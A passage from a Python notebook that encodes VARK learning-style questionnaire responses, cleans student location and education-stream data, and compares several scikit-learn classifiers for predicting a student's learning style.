data['Q12_sec1'].unique()
# -
data['Q13_sec1'].unique()
# +
Q13_sec1_dict = {'read the written instructions that came with the program.':'R',
'talk with people who know about the program.':'A',
'use the controls or keyboard and explore.':'K',
'follow the diagrams in the book that came with it.':'V'}
data["Q13_sec1"] = data["Q13_sec1"].apply(lambda x: Q13_sec1_dict[x])
data['Q13_sec1'].unique()
# -
data['Q14_sec1'].unique()
# +
Q14_sec1_dict = {'videos showing how to do or make things.':'K',
'interesting design and visual features.':'V',
'interesting written descriptions, lists and explanations.':'R',
'audio channels where I can listen to podcasts or interviews.':'A'}
data["Q14_sec1"] = data["Q14_sec1"].apply(lambda x: Q14_sec1_dict[x])
data['Q14_sec1'].unique()
# -
data['Q15_sec1'].unique()
# +
Q15_sec1_dict = {'The way it looks is appealing.':'V',
'Quickly reading parts of it.':'R',
'A friend talks about it and recommends it.':'A',
'It has real-life stories, experiences and examples.':'K'}
data["Q15_sec1"] = data["Q15_sec1"].apply(lambda x: Q15_sec1_dict[x])
data['Q15_sec1'].unique()
# -
data['Q16_sec1'].unique()
# +
Q16_sec1_dict = {'diagrams to show the project stages with charts of benefits and costs.':'V',
'a written report describing the main features of the project.':'R',
'an opportunity to discuss the project.':'A',
'examples where the project has been used successfully.':'K'}
data["Q16_sec1"] = data["Q16_sec1"].apply(lambda x: Q16_sec1_dict[x])
data['Q16_sec1'].unique()
# -
data['Q17_sec1'].unique()
# +
Q17_sec1_dict = {'ask questions and talk about the camera and its features.':'A',
'use the written instructions about what to do.':'R',
'use diagrams showing the camera and what each part does.':'V',
'use examples of good and poor photos showing how to improve them.':'K'}
data["Q17_sec1"] = data["Q17_sec1"].apply(lambda x: Q17_sec1_dict[x])
data['Q17_sec1'].unique()
# -
data['Q18_sec1'].unique()
# +
Q18_sec1_dict = {'draw or sketch something that happened in the film.':'V',
'read a dialogue from the film,':'A',
'write about the film.':'R',
'act out a scene from the film.':'K'}
data["Q18_sec1"] = data["Q18_sec1"].apply(lambda x: Q18_sec1_dict[x])
data['Q18_sec1'].unique()
# -
data['Q19_sec1'].unique()
# +
Q19_sec1_dict = {'class discussions, online discussion, online chat and guest speakers.':'A',
'a textbook and plenty of handouts.':'R',
'an overview diagram, charts, labelled diagrams and maps.':'V',
'field trips, case studies, videos, labs and hands-on practical sessions.':'K'}
data["Q19_sec1"] = data["Q19_sec1"].apply(lambda x: Q19_sec1_dict[x])
data['Q19_sec1'].unique()
# -
data['Q20_sec1'].unique()
# +
Q20_sec1_dict = {'using examples from what you have done.':'K',
'using a written description of your results.':'R',
'from somebody who talks it through with you.':'A',
'using graphs showing what you had achieved.':'V'}
data["Q20_sec1"] = data["Q20_sec1"].apply(lambda x: Q20_sec1_dict[x])
data['Q20_sec1'].unique()
# -
data['Q21_sec1'].unique()
# +
Q21_sec1_dict = {'it is similar to others you have liked.':'K',
'hear friends talking about it.':'A',
'you see a preview of it.':'V',
'you read what others say about it online or in a magazine.':'R'}
data["Q21_sec1"] = data["Q21_sec1"].apply(lambda x: Q21_sec1_dict[x])
data['Q21_sec1'].unique()
# -
data['Q22_sec1'].unique()
# +
Q22_sec1_dict = {'choose something that you have had there before.':'K',
'listen to the waiter or ask friends to recommend choices.':'A',
'choose from the descriptions in the menu.':'R',
'look at what others are eating or look at pictures of each dish.':'V'}
data["Q22_sec1"] = data["Q22_sec1"].apply(lambda x: Q22_sec1_dict[x])
data['Q22_sec1'].unique()
# -
data['Q23_sec1'].unique()
# +
Q23_sec1_dict = {'make diagrams or get graphs to help explain things.':'V',
'write a few key words and practice saying your speech over and over.':'A',
'write out your speech and learn from reading it over several times.':'R',
'gather many examples and stories to make the talk real and practical.':'K'}
data["Q23_sec1"] = data["Q23_sec1"].apply(lambda x: Q23_sec1_dict[x])
data['Q23_sec1'].unique()
# -
data['Q24_sec1'].unique()
# +
Q24_sec1_dict = {'to view a video of the property.':'K',
'a discussion with the owner.':'A',
'a printed description of the rooms and features.':'R',
'a plan showing the rooms and a map of the area.':'V'}
data["Q24_sec1"] = data["Q24_sec1"].apply(lambda x: Q24_sec1_dict[x])
data['Q24_sec1'].unique()
# -
data['Q25_sec1'].unique()
# +
Q25_sec1_dict = {'diagrams showing each stage of the assembly.':'V',
'advice from someone who has done it before.':'A',
'written instructions that came with the parts for the table.':'R',
'watching a video of a person assembling a similar table.':'K'}
data["Q25_sec1"] = data["Q25_sec1"].apply(lambda x: Q25_sec1_dict[x])
data['Q25_sec1'].unique()
# -
# #### Assigning Numerical variables to second part of the questionnaire
# ### where,
#
# #### 'Strongly disagree':1,
# #### 'Disagree':2,
# #### 'Neutral':3,
# #### 'Agree':4,
# #### 'Strongly agree':5
data['scenario_1_Q1'].unique()
# +
scenario_dict = {'Strongly disagree':1, 'Disagree':2, 'Neutral':3, 'Agree':4, 'Strongly agree':5}
data["scenario_1_Q1"] = data["scenario_1_Q1"].apply(lambda x: scenario_dict[x])
data["scenario_1_Q2"] = data["scenario_1_Q2"].apply(lambda x: scenario_dict[x])
data["scenario_1_Q3"] = data["scenario_1_Q3"].apply(lambda x: scenario_dict[x])
data["scenario_1_Q4"] = data["scenario_1_Q4"].apply(lambda x: scenario_dict[x])
data["scenario_1_Q5"] = data["scenario_1_Q5"].apply(lambda x: scenario_dict[x])
data["scenario_1_Q6"] = data["scenario_1_Q6"].apply(lambda x: scenario_dict[x])
data["scenario_1_Q7"] = data["scenario_1_Q7"].apply(lambda x: scenario_dict[x])
data["scenario_1_Q8"] = data["scenario_1_Q8"].apply(lambda x: scenario_dict[x])
scenario1_dict = {'Strongly Disagree':1, 'Disagree':2, 'Neutral':3, 'Agree':4, 'Strongly agree':5}
data["scenario_2_Q1"] = data["scenario_2_Q1"].apply(lambda x: scenario1_dict[x])
data["scenario_2_Q2"] = data["scenario_2_Q2"].apply(lambda x: scenario1_dict[x])
data["scenario_2_Q3"] = data["scenario_2_Q3"].apply(lambda x: scenario1_dict[x])
data["scenario_2_Q4"] = data["scenario_2_Q4"].apply(lambda x: scenario1_dict[x])
data["scenario_3_Q1"] = data["scenario_3_Q1"].apply(lambda x: scenario1_dict[x])
data["scenario_3_Q2"] = data["scenario_3_Q2"].apply(lambda x: scenario1_dict[x])
data["scenario_3_Q3"] = data["scenario_3_Q3"].apply(lambda x: scenario1_dict[x])
data["scenario_3_Q4"] = data["scenario_3_Q4"].apply(lambda x: scenario1_dict[x])
# -
data.head()
# ## Determining the learning style with first part of the questionnaire
# +
columns = ['Q1_sec1', 'Q2_sec1', 'Q3_sec1', 'Q4_sec1', 'Q5_sec1', 'Q6_sec1',
'Q7_sec1', 'Q8_sec1', 'Q9_sec1', 'Q10_sec1', 'Q11_sec1', 'Q12_sec1',
'Q13_sec1', 'Q14_sec1', 'Q15_sec1', 'Q16_sec1', 'Q17_sec1', 'Q18_sec1',
'Q19_sec1', 'Q20_sec1', 'Q21_sec1', 'Q22_sec1', 'Q23_sec1', 'Q24_sec1',
'Q25_sec1']
section_1 = data[columns]
## Taking columns of the first 25 questions(first part of questionnaire)
# -
section_1.head(10)
# ### using mode to majority in the V,A,R and K
# #### incase of above 2 equal majorities its classified as Multi
mode = section_1.mode(axis=1)
mode[0].notna().sum()
mode[1].notna().sum()
mode[2].notna().sum()
section_1['comb'] = np.where(mode[1].isna(),mode[2].isna(),'multi')
section_1['comb'].head()
section_1['style'] = np.where(section_1['comb']=='multi','Multi',mode[0])
section_1['style'].value_counts()
section_1.head(10)
# ## Inference from above sections
# ### Majority of learners are kinesthetic
# ### Caluculating mean resposes of the second part of the questionnaire
# +
columns = ['Q1_sec2', 'Q2_sec2', 'Q3_sec2', 'Q4_sec2', 'Q5_sec2',
'Q6_sec2', 'Q7_sec2', 'Q8_sec2', 'Q9_sec2', 'Q10_sec2', 'Q11_sec2',
'Q12_sec2']
section_2 = data[columns]
# -
section_2.head(10)
# +
section_2['visual_s2'] = (section_2['Q1_sec2']+section_2['Q8_sec2']+section_2['Q9_sec2'])/3
section_2['Auditory_s2'] = (section_2['Q2_sec2']+section_2['Q7_sec2']+section_2['Q10_sec2'])/3
section_2['Read_write_s2'] = (section_2['Q3_sec2']+section_2['Q6_sec2']+section_2['Q11_sec2'])/3
section_2['Kinesthetic_s2'] = (section_2['Q4_sec2']+section_2['Q5_sec2']+section_2['Q12_sec2'])/3
# -
section_2.head(10)
# +
columns = ['visual_s2', 'Auditory_s2', 'Read_write_s2' ,'Kinesthetic_s2']
sub_section_2 = section_2[columns]
# -
sub_section_2.head(10)
sub_section_2['max_val'] = sub_section_2.idxmax(axis=1)
sub_section_2.head()
# +
columns = ['visual_s2', 'Auditory_s2', 'Read_write_s2' ,'Kinesthetic_s2']
sub_section_2_sorted = section_2[columns]
# +
a = sub_section_2_sorted.values
a.sort(axis=1) # no ascending argument
a = a[:, ::-1] # so reverse
sub_section_2_sorted = pd.DataFrame(a, sub_section_2_sorted.index, sub_section_2_sorted.columns)
# -
sub_section_2_sorted.head(10)
sub_section_2['que'] = np.where((sub_section_2_sorted['visual_s2'] == sub_section_2_sorted['Auditory_s2']) , 'Multi',sub_section_2['max_val'] )
sub_section_2.head(10)
sub_section_2 = sub_section_2.drop('max_val',axis=1)
# +
columns = ['scenario_1_Q1', 'scenario_1_Q2', 'scenario_1_Q3','scenario_1_Q4', 'scenario_1_Q5',
'scenario_1_Q6', 'scenario_1_Q7','scenario_1_Q8']
scenario_1 = data[columns]
# -
scenario_1.head(10)
# +
scenario_1['visual_scene1'] = (scenario_1['scenario_1_Q1']+scenario_1['scenario_1_Q5'])/2
scenario_1['Auditory_scene1'] = (scenario_1['scenario_1_Q2']+scenario_1['scenario_1_Q6'])/2
scenario_1['Read_write_scene1'] = (scenario_1['scenario_1_Q3']+scenario_1['scenario_1_Q7'])/2
scenario_1['Kinesthetic_scene1'] = (scenario_1['scenario_1_Q4']+scenario_1['scenario_1_Q8'])/2
# -
scenario_1.head(10)
# +
scenario_1['visual_s3'] = (scenario_1['visual_scene1']+data['scenario_2_Q1']+data['scenario_3_Q1'])/3
scenario_1['Auditory_s3'] = (scenario_1['Auditory_scene1']+data['scenario_2_Q2']+data['scenario_3_Q2'])/3
scenario_1['Read_write_s3'] = (scenario_1['Read_write_scene1']+data['scenario_2_Q3']+data['scenario_3_Q3'])/3
scenario_1['Kinesthetic_s3'] = (scenario_1['Kinesthetic_scene1']+data['scenario_2_Q4']+data['scenario_3_Q4'])/3
# +
columns = ['visual_s3', 'Auditory_s3', 'Read_write_s3' ,'Kinesthetic_s3']
sub_section_3 = scenario_1[columns]
# -
sub_section_3.head(10)
sub_section_3['max_val'] = sub_section_3.idxmax(axis=1)
sub_section_3.head()
# +
columns = ['visual_s3', 'Auditory_s3', 'Read_write_s3' ,'Kinesthetic_s3']
sub_section_3_sorted = scenario_1[columns]
# +
a = sub_section_3_sorted.values
a.sort(axis=1) # no ascending argument
a = a[:, ::-1] # so reverse
sub_section_3_sorted = pd.DataFrame(a, sub_section_3_sorted.index, sub_section_3_sorted.columns)
# -
sub_section_3_sorted.head()
sub_section_3['que1'] = np.where((sub_section_3_sorted['visual_s3'] == sub_section_3_sorted['Auditory_s3']) , 'Multi',sub_section_3['max_val'] )
sub_section_3.head()
sub_section_3 = sub_section_3.drop('max_val',axis=1)
sub_section = pd.merge(sub_section_2, sub_section_3, on=None, left_index= True,right_index=True)
sub_section.head()
style_1 = section_1['style']
style_2 = sub_section['que']
style_3 = sub_section['que1']
style = pd.merge(style_1, style_2, on=None, left_index= True,right_index=True)
style = pd.merge(style, style_3, on=None, left_index= True,right_index=True)
style.head()
# +
sce1_dict = {'Kinesthetic_s2':'K', 'visual_s2':'V', 'Auditory_s2':'A', 'Read_write_s2':'R', 'Multi':'Multi'}
style['que'] = style['que'].apply(lambda x: sce1_dict[x])
sce2_dict = {'Kinesthetic_s3':'K', 'visual_s3':'V', 'Auditory_s3':'A', 'Read_write_s3':'R', 'Multi':'Multi'}
style['que1'] = style['que1'].apply(lambda x: sce2_dict[x])
# -
style.head()
mode = style.mode(axis=1)
mode
style['comb'] = np.where(mode[1].isna(),mode[2].isna(),'multi')
style.head(10)
style['learning_style'] = np.where(style['comb']=='multi','Multi',mode[0])
style['learning_style'].value_counts()
data['College_location'].unique()
# +
c_dict = {'Chennai':'chennai',
'Sri perumbdur ':'chennai',
'Velapanchavadi ':'chennai',
'Sriperumbudur':'chennai',
'Pondamalle ':'chennai',
'CHENNAI':'chennai',
'Thandalam':'chennai',
'THANDALAM':'chennai',
'Chennai ':'chennai',
'Ponmar':'chennai',
'Gowriwakkam':'chennai',
'Tamil Nadu, chennai ':'chennai',
'Gowrivakkam':'chennai', 'Velappanchavadi':'chennai',
'Sriperumbdur ':'chennai', 'Sriperambadur':'chennai',
'kelambakkam,chennai':'chennai', 'Thandalam, CHENNAI':'chennai',
'Chennai, Tamilnadu':'chennai', 'Anna nagar East, chennai':'chennai',
'Arumbakkam':'chennai', 'Sriperumpudhur, Tamil Nadu, India':'chennai',
'Arumbakkam, chennai':'chennai', 'Kumnachavadi':'chennai',
'Chennnai':'chennai', 'Kattangulathur':'chennai',
'PATTABIRAM':'chennai', 'Nungambakkam ':'chennai',
'chennai':'chennai', 'Pondamalle ':'chennai',
'Poonamallee ':'chennai', 'Poonamallee':'chennai',
'Red hills chennai':'chennai', 'Potheri':'chennai',
'Thiruverkadu, chennai':'chennai', 'Tamilnadu':'chennai',
'Port Blair':'Port_Blair',
'Dollygung,near by sbi bank,port blair':'Port_Blair',
'PORT BLAIR,ANDAMAN AND NICOBAR ISLANDS':'Port Blair', 'Port blair':'Port_Blair',
'Port blair ':'Port_Blair',
'Port Blair, South Andaman':'Port_Blair',
'Port blair(Dollygunj)':'Port_Blair',
'dolly gunj phargoan':'Port_Blair', 'Dollygunj,port blair':'Port_Blair',
'Tirupathi':'Tirupati',
'Tirupati':'Tirupati', 'Padmavati nagar, tirupati':'Tirupati',
'Tirupati ':'Tirupati','Tirupati (City)':'Tirupati',
'Thirupati':'Tirupati', 'tirupathi':'Tirupati',
'TIRUPATI ':'Tirupati',
'Tirupathi ':'Tirupati', 'Tpt':'Tirupati',
'Tirupari':'Tirupati', 'TIRUPATI':'Tirupati',
'Mathikere':'Bangalore',
'Banglore':'Bangalore', 'Bangalore':'Bangalore',
'Bangalore ':'Bangalore', 'Bengaluru':'Bangalore',
'Chikkbanavra':'Bangalore',
'BANGALORE':'Bangalore',
'Hyderabad ':'Hyderabad',
'Hyderabad':'Hyderabad',
'HYDERABAD':'Hyderabad', 'Medchal':'Hyderabad',
'SNAGAREDDY':'Hyderabad', 'Gandipet, Hyderabad.':'Hyderabad',
'Hyd':'Hyderabad', 'Chulklurupeta':'Hyderabad',
'Aziz nagar':'Hyderabad',
'Shankarpalli ':'Hyderabad', 'Hydrabad':'Hyderabad',
'Chittoor':'Chittoor',
'Kanchipuram':'Kanchipuram', 'Kuppam':'Kuppam',
'KUPPAM':'Kuppam', 'Tirunelveli ':'Tirunelveli', 'Vijayawada':'Vijayawada',
'Nellore ':'Nellore',
'Thirunelveli':'Tirunelveli', 'Patancheru ':'medak','dargamitta, Nellore':'Nellore',
'Visakapatnam':'Visakapatnam', 'Maharashtra':'Mumbai',
'Kurnool':'Kurnool',
'Guntur':'Guntur',
'Tirunelveli':'Tirunelveli', 'chittoor':'Chittoor', 'Naidupet':'Nellore', 'Guntur ':'Guntur',
'Trivallur ':'tirivallur', 'Kavali, spsr nellore district ':'Nellore',
'Kurnool (Sunkeshula road) ':'Kurnool', 'Hassan':'Hassan', 'Ongole ':'ongole', 'Kadapa':'kadapa',
'Ctr':'Chittoor', 'Tiruttani':'Tiruttani', 'Guntakal':'Guntakal', 'Udupi':'udupi', 'Varigonda':'Nellore',
'Rajampet':'Rajampeta', 'Tpt':'Tirupati', 'Tenkasi':'Tenkasi',
'Hindustan College NAV India Coimbatore':'coimbatore', 'Srikalahasti':'srikalahasthi', 'London':'london',
'Pileru':'piler', 'Nellore':'Nellore',
'Thirunelaveli':'Tirunelveli', 'Kakinada':'Kakinada', 'REPALLE':'Guntur', 'Agartala':'Agartala',
'Perundurai':'perundurai', 'Thanjavur':'tanjore','Vijayawada ':'Vijayawada','City':'chennai',
'Ambattur':'chennai','Chenai':'chennai','Chrnnai':'chennai','Vel Tech Engineering college':'chennai',
'Kerala':'kochi'}
data['College_location'] = data['College_location'].apply(lambda x: c_dict[x])
# -
data['College_location'].unique()
data['educational_stream'].unique()
# +
stream_dict = {'Management':'Management','Engineering ':'Engineering', 'Engineering':'Engineering',
'MBA ':'Management','Microbiology':'sciences',
'Civil engineering ':'Engineering', 'Education':'others',
'Science':'sciences','Finance':'Finance', 'Commerce':'commerce', 'Mba':'Management', 'MBA':'Management', 'Arts':'Arts',
'Master of business administration':'Management', 'Management ':'Management', 'Mathematics':'Mathematics',
'Msc':'sciences', 'Bcom':'commerce', 'HR& marketing ':'Management', 'Applied microbiology ':'sciences', 'Law':'law',
'ENGINEERING':'Engineering', 'Cse':'Engineering', 'Medical':'medicine', 'B.sc computer science':'computer_science',
'Arts ':'Arts',
'Master degree':'others', 'B.Tech':'Engineering', 'Mechanical engineering':'Engineering', 'Engeneering':'Engineering',
'Arts and science':'others', 'MSc Mathematics':'Mathematics', 'Mechanical Engineering':'Engineering',
'science and humanities':'sciences', 'Ece':'Engineering', 'Medical ':'medicine', 'Microbiology msc':'sciences',
'Health science ':'sciences', 'engineering':'Engineering', 'Master of Arts':'Arts', 'Arts (BALLB)':'law',
'Msc statistics':'statistics', 'Computer science and engineering':'Engineering',
'Science (Biotechnology)':'sciences', 'paramedical':'sciences', 'MA English':'Arts',
'MBA Completed':'Management', 'Paramedical':'sciences', 'Science, biotechnology':'sciences',
'Pharmacy':'sciences', 'Business administration ':'Management', 'Degree':'others', 'Degree ,Bba':'Management',
'Chartered accountant':'Accountancy', 'Business administration':'Management',
'Business Administration ':'Management', 'BBA':'Management',
'Commerce (bcom computers) in degree':'commerce', 'Humanities':'humanities',
'engineering ':'Engineering', 'Preparing for civil service exam UPSC':'others',
'Sciences':'sciences', 'Bachelor of business administration ':'Management', 'MCA':'computer_science',
'Bsc(electronics)':'sciences', 'Bsc':'sciences', 'Science ':'sciences', 'B.E-CSE':'Engineering', 'Eng':'Engineering',
'Ueiri':'others',
'Management of business in hospital':'Management', 'science ':'sciences', 'Engeenering':'Engineering',
'B.E':'Engineering', 'Bsc computer science':'computer_science', 'Zphs':'others', 'Economics':'economics',
'Applied microbiology':'sciences', 'Structures':'sciences', 'ECE':'Engineering', "Art's and science ":'others',
'MANAGEMENT':'Management', 'Diploma':'others', 'Arts&':'Arts', 'Biochemistry':'sciences',
'Computer science ':'computer_science', 'Appied microbiology':'sciences', 'Biochemistry ':'sciences',
'Computer science':'computer_science','Mba ':'Management'}
data["educational_stream"] = data["educational_stream"].apply(lambda x: stream_dict[x])
# -
data['educational_stream'].unique()
# ### Model building
# model building Needs some more data preprocessing, which is folllowed in below steps
# +
learn = data.copy()
learn.head()
## storing the above data in learn dataframe
# +
## creating unique student id for each student
learn["student_id"] = learn.index + 1
# -
learn.head()
# +
target_class = style['learning_style']
learn = pd.merge(learn , target_class, on=None, left_index= True,right_index=True)
learn.head()
# -
# ### Droping the columns of first part of the questionnaire
# +
columns = [ 'Q1_sec1', 'Q2_sec1', 'Q3_sec1', 'Q4_sec1', 'Q5_sec1', 'Q6_sec1',
'Q7_sec1', 'Q8_sec1', 'Q9_sec1', 'Q10_sec1', 'Q11_sec1', 'Q12_sec1',
'Q13_sec1', 'Q14_sec1', 'Q15_sec1', 'Q16_sec1', 'Q17_sec1', 'Q18_sec1',
'Q19_sec1', 'Q20_sec1', 'Q21_sec1', 'Q22_sec1', 'Q23_sec1', 'Q24_sec1',
'Q25_sec1', 'Q1_sec2', 'Q2_sec2', 'Q3_sec2', 'Q4_sec2', 'Q5_sec2',
'Q6_sec2', 'Q7_sec2', 'Q8_sec2', 'Q9_sec2', 'Q10_sec2', 'Q11_sec2',
'Q12_sec2', 'scenario_1_Q1', 'scenario_1_Q2', 'scenario_1_Q3',
'scenario_1_Q4', 'scenario_1_Q5', 'scenario_1_Q6', 'scenario_1_Q7',
'scenario_1_Q8', 'scenario_2_Q1', 'scenario_2_Q2', 'scenario_2_Q3',
'scenario_2_Q4', 'scenario_3_Q1', 'scenario_3_Q2', 'scenario_3_Q3',
'scenario_3_Q4']
learn = learn.drop(columns,axis=1)
# -
learn.head()
## making student id as first column
cols = learn.columns.tolist()
cols.insert(0, cols.pop(cols.index('student_id')))
learn = learn.reindex(columns= cols)
learn.head()
# ### Dropping unecessary columns regarding student id
# +
columns = ['Timestamp','Name','Email','College Name']
learn = learn.drop(columns,axis=1)
# -
learn.head()
# ### concatenating the mean data of second part of the questionnaire
# +
mean_columns = sub_section.copy()
learn = pd.merge(learn , mean_columns, on=None, left_index= True,right_index=True)
learn.head()
# +
mean_columns1 = section_1['style']
learn = pd.merge(learn , mean_columns1, on=None, left_index= True,right_index=True)
learn.head()
# -
learn.columns
# +
### assigning readable names to mean data
learn = learn.rename(columns={'visual_s2': 'V1', 'visual_s3': 'V2',
'Auditory_s2': 'A1', 'Auditory_s3': 'A2',
'Read_write_s2': 'R1', 'Read_write_s3': 'R2',
'Kinesthetic_s2': 'K1', 'Kinesthetic_s3': 'K2'})
learn.head()
# +
## removing the columns which can not be using in the model
columns = ['que','que1']
learn = learn.drop(columns,axis=1)
# -
# ### including the target(learning style of the student) from the primary questionaire
# +
learn.to_csv('learning_style_dataset_stats.csv',index = False)
## storing as csv file to access in spss
# -
# #### encoding categorical variables with numerical by using the Label encoder
# +
from sklearn.preprocessing import LabelEncoder
objList = ["Age","Gender","educational_designation","Place_grownup_in",
"school_region","school_Type","school_board","College_location","educational_stream",'style']
le = LabelEncoder()
for feat in objList:
learn[feat] = le.fit_transform(learn[feat].astype(str))
# -
learn.to_csv('learning_style_dataset.csv',index = False)
from sklearn import preprocessing
lf = preprocessing.LabelEncoder()
learn["learning_style"] = lf.fit_transform(learn["learning_style"])
learn.head()
import matplotlib.pyplot as plt
#importing seaborn for statistical plots
import seaborn as sns
# To enable plotting graphs in Jupyter notebook
X = learn.drop(['student_id','learning_style'],axis=1)
y = learn.pop('learning_style')
from sklearn.preprocessing import StandardScaler
scaler = StandardScaler()
X_sc = scaler.fit_transform(X)
from sklearn.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(X_sc, y, test_size=0.20, random_state=1, stratify=y)
print(X_train.shape)
# ### Logistic regression
from sklearn.linear_model import LogisticRegression
from sklearn.multiclass import OneVsRestClassifier
# +
from sklearn.model_selection import GridSearchCV
grid={"C":np.logspace(-3,3,7), "penalty":["l1","l2"]}# l1 lasso l2 ridge
logreg=LogisticRegression()
logreg_cv=GridSearchCV(logreg,grid,cv=10)
logreg_cv.fit(X_train,y_train)
print("tuned hpyerparameters :(best parameters) ",logreg_cv.best_params_)
print("accuracy :",logreg_cv.best_score_)
# -
logic = LogisticRegression(C=1, penalty = 'l2')
ovr = OneVsRestClassifier(logic)
ovr.fit(X_train,y_train)
from sklearn.metrics import classification_report
predicted = ovr.predict(X_test)
report = classification_report(y_test, predicted)
print(report)
from sklearn.metrics import plot_confusion_matrix
plot_confusion_matrix(ovr, X_test, y_test)
plt.show()
from scipy import stats
from scipy.stats import pearsonr
with sns.axes_style("white"):
sns.jointplot(x=y_test, y=predicted, stat_func=pearsonr,kind="reg", color="k");
importance = ovr.coef_[0]
# summarize feature importance
for i,v in enumerate(importance):
print('Feature: %0d, Score: %.5f' % (i,v))
# plot feature importance
plt.bar([x for x in range(len(importance))], importance)
plt.show()
from sklearn.model_selection import StratifiedKFold
from sklearn.metrics import accuracy_score
seed =45
kf = StratifiedKFold(n_splits=5,shuffle=True,random_state=seed)
pred_test_full =0
cv_score =[]
i=1
for train_index,test_index in kf.split(X,y):
print('{} of KFold {}'.format(i,kf.n_splits))
xtr,xvl = X.loc[train_index],X.loc[test_index]
ytr,yvl = y.loc[train_index],y.loc[test_index]
#model
lr = OneVsRestClassifier(logic)
lr.fit(xtr,ytr)
score = accuracy_score(yvl,lr.predict(xvl))
print('accuracy_score:',score)
cv_score.append(score)
i+=1
print('Average_Accuracy')
print(sum(cv_score)/5)
from sklearn.metrics import accuracy_score
from sklearn.metrics import precision_score
from sklearn.metrics import recall_score
from sklearn.metrics import f1_score
accuracy = accuracy_score(y_test, predicted)
recall = recall_score(y_test, predicted, average='weighted')
precision = precision_score(y_test, predicted, average='weighted')
f1 = f1_score(y_test, predicted, average='weighted')
cross_validation_score = sum(cv_score)/5
results = pd.DataFrame({'Method':['Logistic Regression'],
'accuracy': accuracy,
'recall':recall,
'precision':precision,
'f1_score':f1,
'cross_val_score':cross_validation_score},index={'1'})
results = results[['Method', 'accuracy','recall','precision','f1_score','cross_val_score']]
results
# ### Gausian naive bayes
# +
from sklearn.naive_bayes import GaussianNB
gnb = GaussianNB()
parameters = {
'var_smoothing': [1e-2, 1e-3, 1e-4, 1e-5, 1e-6, 1e-7, 1e-8, 1e-9, 1e-10, 1e-11, 1e-12, 1e-13, 1e-14, 1e-15]
}
clf = GridSearchCV(gnb, parameters, cv=5)
clf.fit(X_train, y_train)
print(clf.best_params_)
# -
gnb = GaussianNB(var_smoothing= 0.01).fit(X_train, y_train)
predicted = gnb.predict(X_test)
report = classification_report(y_test, predicted)
print(report)
plot_confusion_matrix(gnb, X_test, y_test)
plt.show()
with sns.axes_style("white"):
sns.jointplot(x=y_test, y=predicted, stat_func=pearsonr,kind="reg", color="k");
from sklearn.inspection import permutation_importance
imps = permutation_importance(gnb, X_test, y_test)
print(imps.importances_mean)
seed =45
kf = StratifiedKFold(n_splits=5,shuffle=True,random_state=seed)
pred_test_full =0
cv_score =[]
i=1
for train_index,test_index in kf.split(X,y):
print('{} of KFold {}'.format(i,kf.n_splits))
xtr,xvl = X.loc[train_index],X.loc[test_index]
ytr,yvl = y.loc[train_index],y.loc[test_index]
#model
lr = GaussianNB()
lr.fit(xtr,ytr)
score = accuracy_score(yvl,lr.predict(xvl))
print('accuracy_score:',score)
cv_score.append(score)
i+=1
print('Average_Accuracy')
print(sum(cv_score)/5)
# +
accuracy = accuracy_score(y_test, predicted)
recall = recall_score(y_test, predicted, average='weighted')
precision = precision_score(y_test, predicted, average='weighted')
f1 = f1_score(y_test, predicted, average='weighted')
cross_validation_score = sum(cv_score)/5
tempresults = pd.DataFrame({'Method':['Gaussian Naive bayes'],
'accuracy': accuracy,
'recall':recall,
'precision':precision,
'f1_score':f1,
'cross_val_score':cross_validation_score},index={'2'})
results = pd.concat([results, tempresults])
results = results[['Method', 'accuracy','recall','precision','f1_score','cross_val_score']]
results
# -
# ### K nearest neighbor classifier
# +
from sklearn.neighbors import KNeighborsClassifier
knn = KNeighborsClassifier()
parameters = {'n_neighbors': list(range(1,20))}
#Fit the model
model = GridSearchCV(knn, param_grid=parameters)
model.fit(X_train, y_train)
print(model.best_params_)
# -
knn = KNeighborsClassifier(n_neighbors = 13).fit(X_train, y_train)
predicted = knn.predict(X_test)
report = classification_report(y_test, predicted)
print(report)
plot_confusion_matrix(knn, X_test, y_test)
plt.show()
with sns.axes_style("white"):
sns.jointplot(x=y_test, y=predicted, stat_func=pearsonr,kind="reg", color="k");
seed =45
kf = StratifiedKFold(n_splits=5,shuffle=True,random_state=seed)
pred_test_full =0
cv_score =[]
i=1
for train_index,test_index in kf.split(X,y):
print('{} of KFold {}'.format(i,kf.n_splits))
xtr,xvl = X.loc[train_index],X.loc[test_index]
ytr,yvl = y.loc[train_index],y.loc[test_index]
#model
lr = KNeighborsClassifier()
lr.fit(xtr,ytr)
score = accuracy_score(yvl,lr.predict(xvl))
print('accuracy_score:',score)
cv_score.append(score)
i+=1
print('Average_Accuracy')
print(sum(cv_score)/5)
# +
accuracy = accuracy_score(y_test, predicted)
recall = recall_score(y_test, predicted, average='weighted')
precision = precision_score(y_test, predicted, average='weighted')
f1 = f1_score(y_test, predicted, average='weighted')
cross_validation_score = sum(cv_score)/5
tempresults = pd.DataFrame({'Method':['K Nearest Neighbor'],
'accuracy': accuracy,
'recall':recall,
'precision':precision,
'f1_score':f1,
'cross_val_score':cross_validation_score},index={'3'})
results = pd.concat([results, tempresults])
results = results[['Method', 'accuracy','recall','precision','f1_score','cross_val_score']]
results
# -
# ### Support vector machines
# +
from sklearn.svm import SVC
svc = SVC()
param_grid = {'C': [0.001, 0.01, 0.1, 1, 10, 100],
'gamma': [0.001, 0.01, 0.1, 1, 10],
'kernel':['rbf','poly']}
grid = GridSearchCV(svc , param_grid = param_grid, cv = 5)
grid.fit(X_train, y_train)
print(grid.best_params_)
# -
from sklearn.svm import SVC
svm = SVC(kernel = 'rbf', C =100,gamma=0.001).fit(X_train, y_train)
predicted = svm.predict(X_test)
report = classification_report(y_test, predicted)
print(report)
plot_confusion_matrix(svm, X_test, y_test) # doctest: +SKIP
plt.show()
with sns.axes_style("white"):
sns.jointplot(x=y_test, y=predicted, stat_func=pearsonr,kind="reg", color="k");
seed =45
kf = StratifiedKFold(n_splits=5,shuffle=True,random_state=seed)
pred_test_full =0
cv_score =[]
i=1
for train_index,test_index in kf.split(X,y):
print('{} of KFold {}'.format(i,kf.n_splits))
xtr,xvl = X.loc[train_index],X.loc[test_index]
ytr,yvl = y.loc[train_index],y.loc[test_index]
#model
lr = SVC()
lr.fit(xtr,ytr)
score = accuracy_score(yvl,lr.predict(xvl))
print('accuracy_score:',score)
cv_score.append(score)
i+=1
print('Average_Accuracy')
print(sum(cv_score)/5)
# +
accuracy = accuracy_score(y_test, predicted)
recall = recall_score(y_test, predicted, average='weighted')
precision = precision_score(y_test, predicted, average='weighted')
f1 = f1_score(y_test, predicted, average='weighted')
cross_validation_score = sum(cv_score)/5
